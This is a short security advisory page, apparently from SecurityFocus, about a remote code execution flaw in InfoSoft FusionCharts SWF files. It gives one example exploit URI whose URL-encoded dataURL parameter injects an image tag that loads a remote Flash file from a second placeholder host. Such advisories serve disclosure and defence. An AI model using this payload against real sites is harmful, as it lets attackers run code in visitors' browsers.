Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

InfoSoft FusionCharts SWF Flash File Remote Code Execution Vulnerability

Attackers can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//www.example2.com/DoKnowEvil.swf%3F.jpg%22%3E







 

Privacy Statement
Copyright 2008, SecurityFocus